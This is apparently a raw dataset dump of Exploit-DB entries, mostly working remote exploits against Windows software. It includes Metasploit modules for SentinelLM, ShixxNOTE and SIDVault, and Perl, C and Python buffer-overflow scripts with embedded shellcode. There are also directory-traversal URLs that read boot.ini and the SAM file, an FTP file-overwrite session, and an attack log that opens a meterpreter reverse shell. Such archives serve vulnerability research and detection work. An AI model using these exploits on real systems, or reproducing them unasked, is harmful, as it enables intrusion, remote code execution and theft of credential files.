deardaniel/secdata-raw huggingface dataset:
Exploit-DB #16746
Description: Sentinel LM - UDP Buffer Overflow (Metasploit)
Type: remote
Platform: windows
Date: 2010-05-09
Author: Metasploit

Exploit:
##
# $Id: sentinel_lm7_udp.rb 9262 2010-05-09 17:45:00Z jduck $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
	Rank = AverageRanking

	include Msf::Exploit::Remote::Udp

	def initialize(info = {})
		super(update_info(info,
			'Name'           => 'SentinelLM UDP Buffer Overflow',
			'Description'    => %q{
					This module exploits a simple stack buffer overflow in the Sentinel
				License Manager. The SentinelLM service is installed with a
				wide selection of products and seems particular popular with
				academic products. If the wrong target value is selected,
				the service will crash and not restart.
			},
			'Author'         => [ 'hdm' ],
			'License'        => MSF_LICENSE,
			'Version'        => '$Revision: 9262 $',
			'References'     =>
				[
					[ 'CVE', '2005-0353'],
					[ 'OSVDB', '14605'],
					[ 'BID', '12742'],
				],
			'Privileged'     => true,
			'DefaultOptions' =>
				{
					'EXITFUNC' => 'process',
				},
			'Payload'        =>
				{
					'Space'    => 800,
					'BadChars' => "\x00\x20",
					'StackAdjustment' => -3500,
				},
			'Platform'       => 'win',
			'Targets'        =>
				[
					['SentinelLM 7.2.0.0 Windows NT 4.0 SP4/SP5/SP6', { 'Ret' => 0x77681799 }], # ws2help.dll
					['SentinelLM 7.2.0.0 Windows 2000 English',       { 'Ret' => 0x75022ac4 }], # ws2help.dll
					['SentinelLM 7.2.0.0 Windows 2000 German',        { 'Ret' => 0x74fa1887 }], # ws2help.dll
					['SentinelLM 7.2.0.0 Windows XP English SP0/SP1', { 'Ret' => 0x71aa32ad }], # ws2help.dll
					['SentinelLM 7.2.0.0 Windows 2003 English SP0',   { 'Ret' => 0x7ffc0638 }], # peb
				],
			'DisclosureDate' => 'Mar 07 2005' ))

		register_options(
			[
				Opt::RPORT(5093)
			], self.class)
	end

	def check
		connect_udp
		udp_sock.put("\x7a\x00\x00\x00\x00\x00")
		res = udp_sock.recvfrom(8192)
		disconnect_udp

		if (res and res[0] == 0x7a)
			return Exploit::CheckCode::Detected
		end
		return Exploit::CheckCode::Safe
	end

	def exploit
		connect_udp

		# Payload goes first
		buf = payload.encoded + rand_text_english(2048-payload.encoded.length)

		# Return to a pop/pop/ret via SEH
		buf[836, 4] = [target.ret].pack('V')

		# The pop/pop/ret takes us here, jump back 5 bytes
		buf[832, 2] = "\xeb\xf9"

		# Now jump all the way back to our shellcode
		buf[827, 5] = "\xe9" + [-829].pack('V')

		udp_sock.put(buf)
		udp_sock.recvfrom(8192)

		handler
		disconnect_udp
	end


end
Exploit-DB #31149
Description: Sentinel Protection Server 7.x/Keys Server 1.0.x - Backslash Directory Traversal
Type: remote
Platform: windows
Date: 2008-02-11
Author: Luigi Auriemma

Exploit:
source: https://www.securityfocus.com/bid/27735/info

Sentinel Protection Server and Keys Server are prone to a directory-traversal vulnerability because the software fails to sufficiently sanitize user-supplied input data.

Exploiting this issue may allow an attacker to access sensitive information that could aid in further attacks.

This issue affects Protection Server 7.4.1.0 and Keys Server 1.0.4; earlier versions may also be vulnerable.

NOTE: This issue may be caused by an incomplete security patch released in November 2007 that was documented in BID 26583 ('Sentinel Protection Server/Keys Server Directory Traversal Vulnerability'). 

GET /..\..\..\..\..\..\..\boot.ini HTTP/1.0
Exploit-DB #33900
Description: Serenity Audio Player 3.2.3 - '.m3u' Remote Buffer Overflow
Type: remote
Platform: windows
Date: 2010-04-26
Author: Madjix

Exploit:
source: https://www.securityfocus.com/bid/39768/info

Serenity Audio Player is prone to a buffer-overflow vulnerability because it fails to perform adequate boundary checks on user-supplied data.

Attackers may leverage this issue to execute arbitrary code in the context of the application. Failed attacks will cause denial-of-service conditions.

Serenity Audio Player 3.2.3 is vulnerable; other versions may also be affected. 

#Serenity Audio Player 3.2.3 (SEH) Buffer Overflow
#Download :
http://malsmith.kyabram.biz/serenity/serenity-3.2.3-win32-installer.exe
#By Madjix Dz8[at]hotmail[dot]com
my $hd= "http://" ;
my $jnk="\x41" x 838 ;
my $nops = "\x90" x 10 ;
my $shellcode= "\xdb\xc0\x31\xc9\xbf\x7c\x16\x70\xcc\xd9\x74\x24\xf4\xb1" .
"\x1e\x58\x31\x78\x18\x83\xe8\xfc\x03\x78\x68\xf4\x85\x30" .
"\x78\xbc\x65\xc9\x78\xb6\x23\xf5\xf3\xb4\xae\x7d\x02\xaa" .
"\x3a\x32\x1c\xbf\x62\xed\x1d\x54\xd5\x66\x29\x21\xe7\x96" .
"\x60\xf5\x71\xca\x06\x35\xf5\x14\xc7\x7c\xfb\x1b\x05\x6b" .
"\xf0\x27\xdd\x48\xfd\x22\x38\x1b\xa2\xe8\xc3\xf7\x3b\x7a" .
"\xcf\x4c\x4f\x23\xd3\x53\xa4\x57\xf7\xd8\x3b\x83\x8e\x83" .
"\x1f\x57\x53\x64\x51\xa1\x33\xcd\xf5\xc6\xf5\xc1\x7e\x98" .
"\xf5\xaa\xf1\x05\xa8\x26\x99\x3d\x3b\xc0\xd9\xfe\x51\x61" .
"\xb6\x0e\x2f\x85\x19\x87\xb7\x78\x2f\x59\x90\x7b\xd7\x05" .
"\x7f\xe8\x7b\xca";
my $mad="\xe9\xd4\xfe\xff\xff";
my $nseh="\xeb\xf9\x90\x90";
my $seh="\xe8\x47\x40";

open(MYFILE,'>>MadjiX.m3u');
print MYFILE $hd.$jnk.$nops.$shellcode.$mad.$nseh.$seh;
close(MYFILE);
Exploit-DB #6661
Description: Serv-U FTP Server 7.3 - (Authenticated) Remote FTP File Replacement
Type: remote
Platform: windows
Date: 2008-10-03
Author: dmnt

Exploit:
#Serv-U <= 7.2.0.1 / 7.3 ftp file replacement
#user must have upload permissions
#
#(x) dmnt 2008-10-01
220 Serv-U FTP Server v7.3 ready...
user test
331 User name okay, need password.
pass test
230 User logged in, proceed.
rnfr any_exist_file.ext
350 File or directory exists, ready for destination name.
rnto ..\..\..\boot.ini
250 RNTO command successful.
#boot.ini rewrited

# milw0rm.com [2008-10-03]
Exploit-DB #9966
Description: Serv-U Web Client 9.0.0.5 - Remote Buffer Overflow (1)
Type: remote
Platform: windows
Date: 2009-11-02
Author: Nikolas Rangos

Exploit:
-- KC Security PUBLIC ADVISORY -- http://www.rangos.de -- 
11-01-2009


RhinoSoft.com Serv-U 9.0.0.5 WebClient Remote Buffer Overflow


Background
------------

Serv-U includes a simple, browser-based transfer client perfect
for every business environment. The Web Client is accessed through
a standard web browser and features an unintimidating, familiar interface.
It is a great way for sharing photos and image files with clients and
co-workers due to its configurable thumbnail view that allows remote
images to be quickly viewed without downloading the entire file.
An additional slideshow view offers a fast way to share a collection 
of photos from your latest projects. When using Serv-U, photo sharing 
sites and large email attachments are a thing of the past!


Description
------------

Remote exploitation of a buffer overflow in the Serv-U WebClient
may allow attackers to execute arbitrary code.

The problem lies in the handling of overly long Session Cookies.
When a very long session cookie is sent to the Serv-U WebClient
HTTP Service an overrun occurs and EIP becomes "overwritten".


Detection
------------
KC Security confirmed the vulnerability in the latest version of Serv-U
WebClient which is 9.0.0.5.


Workaround
------------
Disable the WebClient Service and use the Serv-U FTP/SFTP components only.


Proof of concept
------------
The following PERL script will crash the Serv-U.exe service and overwrite
EIP with 0xAAAAAAAA.

---snip---
use IO::Socket;

$|=1;
$a = "A" x 100000;
my $sock = IO::Socket::INET->new(PeerAddr => $ARGV[0],
                              PeerPort => '80',
                              Proto    => 'tcp');                             

print $sock "POST / HTTP/1.1\r\n"
."Host: $ARGV[0]\r\n"
."Cookie: killmenothing; SULang=de%2CDE; themename=vista; Session=_d838591b3a6257b0111138e6ca76c2c2409fb287b1473aa463db7f202caa09361bd7f8948c8d1adf4bd4f6c1c198eb[PII_REDACTED]06246bf8$a\r\n"
."Content-Type: multipart/form-data; boundary=--------------------------[PII_REDACTED]1758\r\n"
."Content-Length: 0\r\n\r\n";

while (<$sock>) {
	print;
}
---snip---


Credit
------------
This vulnerability was discovered by Nikolaos Rangos of KC Security.
Visit us at http://www.rangos.de
Exploit-DB #9800
Description: Serv-U Web Client 9.0.0.5 - Remote Buffer Overflow (2)
Type: remote
Platform: windows
Date: 2009-11-05
Author: Megumi Yanagishita

Exploit:
/*
    !!!FOR EDUCATIONAL USE ONLY!!!
     M.Yanagishita    Nov 2, 2009
    !!!FOR EDUCATIONAL USE ONLY!!!
*/
#include <winsock2.h>
#include <stdio.h>

#pragma comment(lib, "ws2_32")

#define Die(a) if(a){return;}

char request[] = 
"POST / HTTP/1.1\r\nHost: %s\r\nCookie: killmenothing; SULang=de%%2CDE; themename=vista;"
" Session=_d838591b3a6257b0111138e6ca76c2c2409fb287b1473aa463db7f202caa09361bd7f8948c8d1adf4bd4f6c1c198eb[PII_REDACTED]%s\r\n"
"Content-Type: multipart/form-data; boundary=--------------------------[PII_REDACTED]1758\r\nContent-Length: 0\r\n\r\n";

void main(int argc, char **argv)
{
	WSADATA wsaData;
	SOCKET s;
	struct hostent *he;
	struct sockaddr_in host;
	int len, sent, r;
	char *buf = new char[120000];
	char *payload = new char[100000];

	Die(argc<3);
	Die(WSAStartup(0x0101,&wsaData) != 0);
	Die((he = gethostbyname(argv[1])) == 0);

	host.sin_port = htons(atoi(argv[2]));
	host.sin_family = AF_INET;
	host.sin_addr = *((struct in_addr *)he->h_addr);

	Die((s = socket(2, 1, 6)) == -1);
	Die((connect(s, (struct sockaddr *) &host, sizeof(host))) == -1);
	
	
	memset(payload, 'C', 99999);
	memcpy(payload+(41000-62)*2+20, "4928b00f", 8); //add esp, 0x??? + ret

	//Bypass DEP in Win2k3 R2 SP2 Full Patched
	memcpy(payload +  0, "961ea378", 8);  //[mfc90u.dll]  pop esi + ret
	memcpy(payload +  8, "00020100", 8);  //esi <= 00010200 RW
	memcpy(payload + 16, "99aea478", 8);  //[mfc90u.dll]  push esp + pop ebp + ret 0c
	memcpy(payload + 24, "87e9a378", 8);  //[mfc90u.dll]  ret 20
	memcpy(payload + 32, "53c7b278", 8);  //[mfc90u.dll]  jmp esp
	memcpy(payload + 40, "47f5837c", 8);  //[ntdll.dll]   disable DEP, 0x7c98f547 for JP Win2k3

	//Shellcode here :>
	memcpy(payload+48, "ebfe", 4);

	payload[99999]=0;
	sprintf(buf, request, argv[1], payload);

	len = strlen(buf);
	sent = 0;
	r = send(s, buf, len, 0);
	sent += r;
	while(sent < len)
	{
		r = send(s, buf+sent, len-sent, 0);
		Die(r <= 0);
		sent += r;
	}
	closesocket(s);

}
Exploit-DB #25755
Description: ServersCheck 5.9/5.10 - Directory Traversal
Type: remote
Platform: windows
Date: 2005-05-30
Author: rgod

Exploit:
source: https://www.securityfocus.com/bid/13810/info

ServersCheck is affected by a directory traversal vulnerability. This issue is due to a failure in the application to properly sanitize user-supplied input.

An attacker may leverage this issue to disclose arbitrary files on an affected computer in the context of the affected application. This may aid in further attacks against the underlying system. 

http://www.example.com:1272/%2E%2E/%2E%2E/%2E%2E/%2E%2E/%2E%2E/windows/win.ini
http://www.example.com:1272/%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f../boot.ini
http://www.example.com:1272/..%2F..%2F..%2F..%2F..%2F../windows/repair/sam
http://www.example.com:1272/.../.../.../.../.../.../.../.../.../boot.ini
http://www.example.com:1272/../../ ../../../../../../../boot.ini
http://www.example.com:1272/../../../../../../../../boot.ini
http://www.example.com:1272/../../../../boot.ini
Exploit-DB #45658
Description: ServersCheck Monitoring Software 14.3.3 - Arbitrary File Write
Type: remote
Platform: windows
Date: 2018-10-23
Author: hyp3rlinx

Exploit:
# Exploit Title: ServersCheck Monitoring Software 14.3.3 - Denial of Service (PoC)
# Author: John Page (aka hyp3rlinx)
# Date: 2018-10-23
# Vendor: www.serverscheck.com
# Software Link: http://downloads.serverscheck.com/monitoring_software/setup.exe
# CVE: N/A
# References: 
# http://hyp3rlinx.altervista.org/advisories/CVE-2018-18552-SERVERSCHECK-MONITORING-SOFTWARE-ARBITRARY-FILE-WRITE-DOS.txt
# https://serverscheck.com/monitoring-software/release.asp
# Affected Component: "sensor_details.html" webpage the "id" parameter

# Security Issue
# ServersCheck Monitoring Software allows remote attackers to cause a denial of service 
# (menu functionality loss) by creating an LNK file that points to a second LNK file, if this 
# second LNK file is associated with a Start menu item. Ultimately, this behavior comes 
# from a Directory Traversal bug (via the sensor_details.html id parameter) that allows 
# creating empty files in arbitrary directories. 

# Exploit/POC
# DOS Command Prompt .LNK under Start Menu change <VICTIM> to desired user.

http://127.0.0.1:1272/sensor_details.html?id=../../../../Users/<VICTIM>/AppData/Roaming/Microsoft/Windows/Start%20Menu/Programs/Accessories/Command%20Prompt.lnk%00

# DOS Run .LNK under Start Menu 

http://127.0.0.1:1272/sensor_details.html?id=../../../../Users/<VICTIM>/AppData/Roaming/Microsoft/Windows/Start%20Menu/Programs/Accessories/Run.lnk%00

# DOS Internet Explorer .LNK from Start Menu 
http://127.0.0.1:1272/sensor_details.html?id=../../../../Users/<VICTIM>/AppData/Roaming/Microsoft/Windows/Start Menu/Programs/Internet Explorer.LNK%00

# Victim will get error message from server like "Error retrieving sensor details from database".
# Then,No Internet Explorer, Command or Run prompt via the Start/Programs/Accessories/ 
# and Task Menu links. However, can still be launch by other means. Tested successfully on 
# Windows 7 OS

# [Disclosure Timeline]
# Vendor Notification: October 6, 2018
# Vendor acknowledgement: October 7, 2018
# Vendor release v14.3.4 : October 7th, 2018 
# CVE assign by Mitre: October 21, 2018
# October 22, 2018 : Public Disclosure
Exploit-DB #16454
Description: ShixxNOTE 6.net - Font Field Overflow (Metasploit)
Type: remote
Platform: windows
Date: 2010-06-15
Author: Metasploit

Exploit:
##
# $Id: shixxnote_font.rb 9525 2010-06-15 07:18:08Z jduck $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
	Rank = GreatRanking

	include Msf::Exploit::Remote::Tcp
	include Msf::Exploit::Remote::Seh

	def initialize(info = {})
		super(update_info(info,
			'Name'           => 'ShixxNOTE 6.net Font Field Overflow',
			'Description'    => %q{
					This module exploits a buffer overflow in ShixxNOTE 6.net.
				The vulnerability is caused due to boundary errors in the
				handling of font fields.
			},
			'Author'         => 'MC',
			'License'        => MSF_LICENSE,
			'Version'        => '$Revision: 9525 $',
			'References'     =>
				[
					['CVE', '2004-1595'],
					['OSVDB', '10721'],
					['BID', '11409'],
				],
			'DefaultOptions' =>
				{
					'EXITFUNC' => 'process',
				},
			'Payload'        =>
				{
					'Space'    => 650,
					'BadChars' => "\x00\x09\x0a\x0d\x20\x22\x25\x26\x27\x2b\x2f\x3a\x3c\x3e\x3f\x40",
					'StackAdjustment' => -3500,
				},
			'Platform'       => 'win',

			'Targets'        =>
				[
					[ 'ShixxNOTE 6.net Universal', { 'Ret' => 0x10041951 } ],
				],

			'Privileged'     => false,

			'DisclosureDate' => 'Oct 4 2004',

			'DefaultTarget' => 0))

		register_options(
			[
				Opt::RPORT(2000)
			], self.class)

	end

	def exploit
		connect

		print_status("Trying target #{target.name}...")

		sploit  =  rand_text_alpha_upper(8, payload_badchars)
		sploit  += "~~"
		sploit  += rand_text_alpha_upper(118, payload_badchars)

		seh     =  generate_seh_payload(target.ret)

		sploit[112, seh.length] = seh
		sploit  += rand_text_alpha_upper(200, payload_badchars)
		sploit  += "~" * 10

		sock.put(sploit)

		handler
		disconnect
	end

end
Exploit-DB #2482
Description: SHTTPD 1.34 - 'POST' Remote Buffer Overflow
Type: remote
Platform: windows
Date: 2006-10-05
Author: SkOd

Exploit:
#!/usr/bin/perl -w

#  SHTTPD Buffer Overflow (POST)
#  Tested on SHTTPD 1.34 WinXP SP1 Hebrew
#  http://shttpd.sourceforge.net
#  Codded By SkOd, 05/10/2006
#  ISRAEL
#
#	details:
#	EAX 00000194 , ECX 009EBCA8 , EDX 00BC488C
#	EBX 00000004 , EIP 41414141 , EBP 41414141
#	ESI 00BC4358 , EDI 00BCC3CC ASCII "POST"
#	ESP 009EFC08 ASCII 41,"AA...AAA"


use IO::Socket;

sub fail(){
syswrite STDOUT, "[-]Connect failed.\n";
exit;
}

sub header()
{
print("##################################\n");
print("SHTTPD (POST) Buffer Overflow.\n");
print("[http://shttpd.sourceforge.net]\n");
print("Codded By SkOd, 05/10/2006\n");
print("##################################\n");
}

if (@ARGV < 1)
{
	&header();
	print("Usage: Perl shttpd.pl [host]\n");
	exit;
}

&header();
$host=$ARGV[0];
$port="80";
$host=~ s/(http:\/\/)//eg;

#win32_exec- CMD=calc Size=160 (metasploit.com)
$shell =
"%33%c9%83%e9%de%d9%ee%d9%74%24%f4%5b%81%73%13%52".
"%ca%2b%e0%83%eb%fc%e2%f4%ae%22%6f%e0%52%ca%a0%a5".
"%6e%41%57%e5%2a%cb%c4%6b%1d%d2%a0%bf%72%cb%c0%a9".
"%d9%fe%a0%e1%bc%fb%eb%79%fe%4e%eb%94%55%0b%e1%ed".
"%53%08%c0%14%69%9e%0f%e4%27%2f%a0%bf%76%cb%c0%86".
"%d9%c6%60%6b%0d%d6%2a%0b%d9%d6%a0%e1%b9%43%77%c4".
"%56%09%1a%20%36%41%6b%d0%d7%0a%53%ec%d9%8a%27%6b".
"%22%d6%86%6b%3a%c2%c0%e9%d9%4a%9b%e0%52%ca%a0%88".
"%6e%95%1a%16%32%9c%a2%18%d1%0a%50%b0%3a%3a%a1%e4".
"%0d%a2%b3%1e%d8%c4%7c%1f%b5%a9%4a%8c%31%ca%2b%e0";


$esp="%73%C3%2A%4F"; 				#[4F2AC373]JMP ESP (kernel32.dll) WinXP SP1(Hebrew)
$buff=("%41"x8).$esp.("%90"x85).$shell;		#Shellcode+NOP=245

$sock = IO::Socket::INET->new( Proto => "tcp", PeerAddr => "$host", PeerPort => "$port") || &fail();
	syswrite STDOUT,"[+]Connected.\n";
	print $sock "POST /$buff HTTP/1.1\n";
	print $sock "HOST:$host\n\n";
	syswrite STDOUT,"[+]Done.\n";
close($sock);

# milw0rm.com [2006-10-05]
Exploit-DB #9592
Description: SIDVault 2.0e - Windows Remote Buffer Overflow (Metasploit)
Type: remote
Platform: windows
Date: 2009-09-04
Author: His0k4

Exploit:
#--attack-log--
#attacker@dz-labs:~/pentests/metasploit/framework-3.2/trunk$ ./msfcli exploit/windows/ldap/sidvault_ldap #PAYLOAD=windows/meterpreter/reverse_tcp LHOST=192.168.1.2 RHOST=192.168.1.3 E
#[*] Please wait while we load the module tree...
#[*] Handler binding to LHOST 0.0.0.0
#[*] Started reverse handler
#[*] Sending stage (718336 bytes)
#[*] Meterpreter session 1 opened (192.168.1.2:4444 -> 192.168.1.3:1076)

#meterpreter >


##
# This file is part of the Metasploit Framework and may be subject to 
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##


require 'msf/core'


class Metasploit3 < Msf::Exploit::Remote

	include Msf::Exploit::Remote::Tcp

	def initialize(info = {})
		super(update_info(info,	
			'Name'           => 'SIDVault 2.0e Windows Remote Buffer Overflow',
			'Description'    => %q{
				This exploits a buffer overflow in the LDAP service that is
				part of the SIDVault product. This module was tested against
				version 2.0e.
					
			},
			'Author' 	 => [ 'His0k4 <his0k4.hlm[at]gmail.com>' ],
			'License'        => MSF_LICENSE,
			'Version'        => '$Revision$',
			'References'     =>
				[
					[ 'URL', 'http://www.milw0rm.com/exploits/9586'],

				],
			'Privileged'     => true,
			'Payload'        =>
				{
					'Space'    => 750,
					'BadChars' => "\x00",
					'StackAdjustment' => -3500,
					'EncoderType'   => Msf::Encoder::Type::AlphanumUpper,
					'DisableNops'  =>  'True',
				},
			'Platform'       => 'win',
			'Targets'        => 
				[
					#Tested against xp_sp3 OK
					["Universal",   { 'Ret' => "\x29\x10\x40" }], #p/p/r sidvault.exe
				],
			'DefaultTarget' => 0))
			
			register_options(
				[
					Opt::RPORT(389)
				], self.class)
	end

	def exploit
		connect
		
		sploit = "\x30\x82\x12\x10\x02\x01\x01\x60\x82\x12\x09\x02\x01\x03\x04\x82\x10\xfe"	
		sploit << "dc="	
		sploit << rand_text_alpha(1028)
		sploit << payload.encoded
		sploit << rand_text_alpha(3302 - payload.encoded.length)
		sploit << "\xE8\x15\xF3\xFF\xFF"
		sploit << make_nops(5)
		sploit << "\xEB\xF4\x90\x90"
		sploit << target.ret
		sploit << "\x80\x82\x01\x00"
		sploit << rand_text_alpha(500)
		
		sock.put(sploit)
		
		handler
	end

end

# milw0rm.com [2009-09-04]
Exploit-DB #9596
Description: SIDVault 2.0e - Windows Universal Buffer Overflow (SEH)
Type: remote
Platform: windows
Date: 2009-09-09
Author: SkuLL-HackeR

Exploit:
#!/usr/bin/python

import socket, sys, ldap

print "[*] SidVault 2.0e Windows Universal Buffer Overflow Exploit (SEH)"
print "[*] Original author : blake"
print "[*] Seh Exploit : Skull-Hacker"
print "[*] Tested on Windows XP SP3"

if len(sys.argv)!=2:
	print "[*] Usage: %s <ip>" % sys.argv[0]
	sys.exit(0)


# win32_exec -  EXITFUNC=seh CMD=calc Size=343 Encoder=PexAlphaNum http://metasploit.com
shellcode=(
"\xeb\x03\x59\xeb\x05\xe8\xf8\xff\xff\xff\x49\x49\x49\x49\x49\x49"
"\x49\x49\x49\x49\x37\x49\x49\x49\x49\x49\x49\x49\x51\x5a\x6a\x41"
"\x58\x50\x30\x42\x31\x41\x42\x6b\x42\x41\x51\x32\x42\x42\x32\x41"
"\x41\x30\x41\x41\x42\x58\x38\x42\x42\x50\x75\x4b\x59\x4b\x4c\x59"
"\x78\x52\x64\x63\x30\x65\x50\x53\x30\x4e\x6b\x57\x35\x77\x4c\x6c"
"\x4b\x61\x6c\x63\x35\x73\x48\x67\x71\x48\x6f\x6e\x6b\x50\x4f\x45"
"\x48\x6e\x6b\x53\x6f\x61\x30\x73\x31\x38\x6b\x53\x79\x4e\x6b\x66"
"\x54\x6e\x6b\x46\x61\x38\x6e\x30\x31\x6b\x70\x6e\x79\x6e\x4c\x4f"
"\x74\x79\x50\x74\x34\x44\x47\x4f\x31\x59\x5a\x76\x6d\x55\x51\x59"
"\x52\x68\x6b\x4a\x54\x35\x6b\x71\x44\x65\x74\x37\x74\x31\x65\x4a"
"\x45\x6e\x6b\x73\x6f\x44\x64\x55\x51\x4a\x4b\x50\x66\x4c\x4b\x44"
"\x4c\x30\x4b\x6e\x6b\x53\x6f\x37\x6c\x46\x61\x58\x6b\x6c\x4b\x77"
"\x6c\x6e\x6b\x46\x61\x5a\x4b\x4f\x79\x31\x4c\x47\x54\x37\x74\x6a"
"\x63\x74\x71\x59\x50\x70\x64\x6e\x6b\x51\x50\x50\x30\x6e\x65\x4b"
"\x70\x72\x58\x64\x4c\x6c\x4b\x71\x50\x56\x6c\x4e\x6b\x52\x50\x57"
"\x6c\x6c\x6d\x4c\x4b\x63\x58\x73\x38\x5a\x4b\x45\x59\x4e\x6b\x4f"
"\x70\x4c\x70\x35\x50\x43\x30\x63\x30\x4c\x4b\x53\x58\x77\x4c\x73"
"\x6f\x56\x51\x48\x76\x53\x50\x66\x36\x4f\x79\x39\x68\x6f\x73\x39"
"\x50\x61\x6b\x30\x50\x61\x78\x4a\x50\x6c\x4a\x73\x34\x33\x6f\x45"
"\x38\x6d\x48\x49\x6e\x6c\x4a\x46\x6e\x76\x37\x69\x6f\x48\x67\x45"
"\x33\x73\x51\x72\x4c\x71\x73\x63\x30\x41")


sploit =  "\x41"*1028
sploit += "SKH"	#Trick track  ;) 
sploit += shellcode
sploit += "\x44"*(3299-len(shellcode))
sploit += "\xE8\x18\xF3\xFF\xFF"
sploit += "\x44"*5
sploit += "\xEB\xF4\x90\x90"
sploit += "\x29\x10\x40"	#univ ret

print "[+] Sending payload"

l = ldap.open(sys.argv[1])
l.simple_bind("dc=" +sploit, "\x42" * 256)
print "[+] Done!\n"

# milw0rm.com [2009-09-09]